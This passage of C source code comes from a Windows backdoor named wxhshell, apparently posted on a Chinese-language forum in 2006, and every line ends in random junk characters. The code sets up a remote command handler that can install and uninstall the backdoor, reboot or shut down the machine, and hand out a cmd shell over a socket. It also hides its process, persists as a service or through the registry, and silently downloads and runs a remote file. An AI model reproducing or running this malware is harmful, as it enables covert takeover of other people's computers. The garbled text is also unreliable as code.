  case 'i': { ]Ja8i%LjOG  
    if(Install()) \OT)KVwO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@iJ|l  
    else <`UG#6z8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k&iScMgCTH  
    break; sxwW9_C  
    } _Ge^ -7  
  // 卸载 (,c?}TP  
  case 'r': { 1za'u_  
    if(Uninstall()) G,|]a#w&v.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lc?mKW9  
    else 'Mx K}9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X+E\]X2  
    break; }>X\"  
    } L[Yp\[#-q  
  // 显示 wxhshell 所在路径 Dq%r !)  
  case 'p': { 0mD;.1:  
    char svExeFile[MAX_PATH]; }-q`&1!t  
    strcpy(svExeFile,"\n\r"); 3 [)s;e  
      strcat(svExeFile,ExeFile); 5ZyBP~  
        send(wsh,svExeFile,strlen(svExeFile),0); OV("mNh  
    break; m9<%v0r  
    } j_'rhEdLP  
  // 重启 H(G^O&ppdB  
  case 'b': { {q tc \O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y.*=Ww+  
    if(Boot(REBOOT)) [[0bhmG)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ei9_h  
    else { [b i3%yWh  
    closesocket(wsh); k#Ez  
    ExitThread(0); }L$Xb2^l  
    } Q f+p0E;  
    break; Rw/JPC"  
    } [cQ<dVaTX  
  // 关机 l'7Mw%6{  
  case 'd': { gF,[u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L;--d`[  
    if(Boot(SHUTDOWN)) N;x<| %peL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~C"k$;(n  
    else { Z`oaaO  
    closesocket(wsh); \>Ga-gv6/  
    ExitThread(0); uh5Pn#da^  
    } 'Uko^R)(  
    break; W%>i$:Qq  
    } RrO0uadmn  
  // 获取shell 2 ]V>J  
  case 's': { c:llOHA  
    CmdShell(wsh); .L^pMU+!^  
    closesocket(wsh); (aJP: ^  
    ExitThread(0); &SjHrOG?  
    break; B.22 DuE#  
  } 9|N" @0<B  
  // 退出 -Wlp=#9  
  case 'x': { {K45~ha9!m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zNV!@Yr  
    CloseIt(wsh); BKC7kDK3H  
    break; kqKj7L  
    } ^"O{o8l>2  
  // 离开 Sa;<B:|  
  case 'q': { SArfczoB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8YNu<   
    closesocket(wsh); KK?Zm_  
    WSACleanup(); 7#QLtU  
    exit(1); hf;S]8|F  
    break; v`y6y8:>  
        } <&4nOt  
  } p6`Pp"J_tr  
  } !7}IqSs  
e# t3u_  
  // 提示信息 KX!i\NHz  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <3d;1o   
} Y4d3n  
  } &e5(Djz8t  
YRPm^kW  
  return; ).LTts7c  
} KkEv#2n  
`>s7M.|X  
// shell模块句柄  3P1&;  
int CmdShell(SOCKET sock) }.p<wCPy6  
{ sONBQ9  
STARTUPINFO si; 7KU~(?|:h  
ZeroMemory(&si,sizeof(si)); - a y5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g?B3!,!9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3{KR {B#L  
PROCESS_INFORMATION ProcessInfo; \#CM <%  
char cmdline[]="cmd"; syv$XeG=}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P.djd$#  
  return 0; 98fu>>*G{  
} h{k_6ym  
n"6;\  
// 自身启动模式 'B_\TU0 O  
int StartFromService(void) [*)Z!)  
{ H6gU?9%  
typedef struct ~]BMrgn  
{ w5*Z!  
  DWORD ExitStatus; XF|WCZUnY%  
  DWORD PebBaseAddress; q@n^ZzTx  
  DWORD AffinityMask; c8{]]  
  DWORD BasePriority; 1S0pd-i  
  ULONG UniqueProcessId; k;I  &.H  
  ULONG InheritedFromUniqueProcessId; 1DE@N1l  
}   PROCESS_BASIC_INFORMATION; @m~RtC-Q  
n,j$D62[  
PROCNTQSIP NtQueryInformationProcess; EVt? C+  
[3N[i(Wlk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {fV}gR2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; N8v'70  
R^*K6Ad  
  HANDLE             hProcess; ~9=aT1S|  
  PROCESS_BASIC_INFORMATION pbi; RKZ6}q1n  
]3B%8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G^wtE90  
  if(NULL == hInst ) return 0; {_#yz\j  
Xf d*D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TeQNFo^_8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'Z&;uv,l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PUdM[-zjh  
\}_Yd8  
  if (!NtQueryInformationProcess) return 0; VR5fqf|*  
s%pfkoOY%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (k`{*!:1a  
  if(!hProcess) return 0; wGsRS[  
,xI%A, (,;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _:`!DIz~9}  
{/<6v. v  
  CloseHandle(hProcess); #~L h#  
AeuX Qt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xJs;v  
if(hProcess==NULL) return 0; AVw%w&|%  
-e u]:4  
HMODULE hMod; jJZgK$5+  
char procName[255]; N#C1-*[C  
unsigned long cbNeeded; " =] -%B  
xI*#(!x"G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B;K`q  
zTbVp8\pI  
  CloseHandle(hProcess); sj?3M@l95W  
(Y% Q|u  
if(strstr(procName,"services")) return 1; // 以服务启动 A"5z6A4WB  
9Z5D\yv?H  
  return 0; // 注册表启动 B[4pX +f  
} )~6zYJ2  
JwnQ0 e  
// 主模块 wd(Hv  
int StartWxhshell(LPSTR lpCmdLine) F}GPZ=T;  
{ Zk8|K'oHx  
  SOCKET wsl; Sn4[3JV$l  
BOOL val=TRUE; 3bZIYF2@  
  int port=0; 6r: ?;j~l  
  struct sockaddr_in door; {gNV[45  
Cxod[$8  
  if(wscfg.ws_autoins) Install(); h N2:d1f0  
I\~ G|B  
port=atoi(lpCmdLine); &N~ZI*^  
5 < wnva  
if(port<=0) port=wscfg.ws_port; \#-W <  
|2\{z{?  
  WSADATA data; ofYlR|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `@[c8j7  
uEyH2QO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *KY=\ %D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g.c8FP+  
  door.sin_family = AF_INET; /xGmg`g<#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DrnJ;Hi"  
  door.sin_port = htons(port); >>aq,pH  
@';B_iQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T,xPSN2A*  
closesocket(wsl); \0lnxLA  
return 1; 8:BIbmtt5  
} M?b6'd9f  
8]4U`\k4  
  if(listen(wsl,2) == INVALID_SOCKET) { `(A5f71MfM  
closesocket(wsl); Y6,Rj:8  
return 1; h~{aGo  
} R4ht6Vm3g)  
  Wxhshell(wsl); FnJ?C&xK  
  WSACleanup(); VJ ^dY;  
Ig3;E+*>  
return 0; w =. Fj  
HB Iip?  
} yG Wnod'  
5~mh'<:  
// 以NT服务方式启动 >^XBa*4;Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EkGQ(fZ1|  
{ G8Nt 8U~  
DWORD   status = 0; aK`@6F,]j  
  DWORD   specificError = 0xfffffff; gTA%uRBa  
%Y!Yvw^&P(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [<'-yQ{l\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /-#I_>:8'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +cD!1IT:  
  serviceStatus.dwWin32ExitCode     = 0; k)TSR5A  
  serviceStatus.dwServiceSpecificExitCode = 0; z25m_[p2  
  serviceStatus.dwCheckPoint       = 0; 3;% 5Yu  
  serviceStatus.dwWaitHint       = 0; -V:"l  
hKzSgYxP=t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); o] mD"3_  
  if (hServiceStatusHandle==0) return; uYE`"/h,1e  
&QhX1dT+  
status = GetLastError(); B<C*  
  if (status!=NO_ERROR) hE h}PX:  
{ 5uxBK"q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =m5SK5vLKT  
    serviceStatus.dwCheckPoint       = 0; fu90]upz~  
    serviceStatus.dwWaitHint       = 0; 4.IU!.Uo  
    serviceStatus.dwWin32ExitCode     = status; ~ o1x;Y6  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9 7ql5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); irN6g#B?  
    return; ezPz<iZ\N  
  } yRo- EP  
JA)] _H P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qL,tYJ<m%  
  serviceStatus.dwCheckPoint       = 0; Q'%PNrN  
  serviceStatus.dwWaitHint       = 0; /% N r?V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hUYd0qEbEt  
} =b/L?dR.-  
|Pg@M  
// 处理NT服务事件,比如:启动、停止 Uh][@35 p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ATR!7i\|  
{ ,Jd ',>3  
switch(fdwControl) S{Er?0wm.R  
{ +"1NC\<*  
case SERVICE_CONTROL_STOP: .w]GWL  
  serviceStatus.dwWin32ExitCode = 0; x:nKfY5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sv  &[f}S  
  serviceStatus.dwCheckPoint   = 0; 3;a<_cE*@  
  serviceStatus.dwWaitHint     = 0; / z}~zO  
  { KCWc`Oz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~V$ |i"  
  } CxfRV L`7  
  return; e6!LSx}y  
case SERVICE_CONTROL_PAUSE: Q9Q|lO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e#E2>Bj;  
  break; {uHU]6d3qy  
case SERVICE_CONTROL_CONTINUE: 435;Vns\n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hiUD]5Kp  
  break; 0pbtH8~  
case SERVICE_CONTROL_INTERROGATE: EI^06q4x  
  break; /IsS;0K%L  
}; 5sb\r,kW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` P9XqWr  
} $H-!j%hV  
_vZ"4L+Iw+  
// 标准应用程序主函数 KjQR$-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6qaulwV4t  
{ HvVts\f  
=" g*\s?r  
// 获取操作系统版本 >Bgw}PI  
OsIsNt=GetOsVer(); l~ M_S<4n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +Xemf?  
0D&t!$Ibf  
  // 从命令行安装 Z"AQp _  
  if(strpbrk(lpCmdLine,"iI")) Install(); rf$X>M=G  
Y_QH&GZ  
  // 下载执行文件 3%E74 mOcD  
if(wscfg.ws_downexe) { B:+6~&,-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MzL1Bh!M  
  WinExec(wscfg.ws_filenam,SW_HIDE); '60 L~`K  
} }|XtypbL  
vo#UtN:q  
if(!OsIsNt) { s%W<dDINl  
// 如果时win9x,隐藏进程并且设置为注册表启动 |P%DkM*X  
HideProc(); @0SC"CqM  
StartWxhshell(lpCmdLine); E~_]Lfs)  
} 1Tm^  
else G rk@dZI  
  if(StartFromService()) 7=DjI ~  
  // 以服务方式启动 z d-Tv`L#  
  StartServiceCtrlDispatcher(DispatchTable); .;*s`t  
else iV eC=^1  
  // 普通方式启动 <Ce2r"U1e  
  StartWxhshell(lpCmdLine); U~ck!\0&T  
&w1P\4?G  
return 0; k+DR]icv  
}
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只看该作者 1 发表于: 2006-10-10
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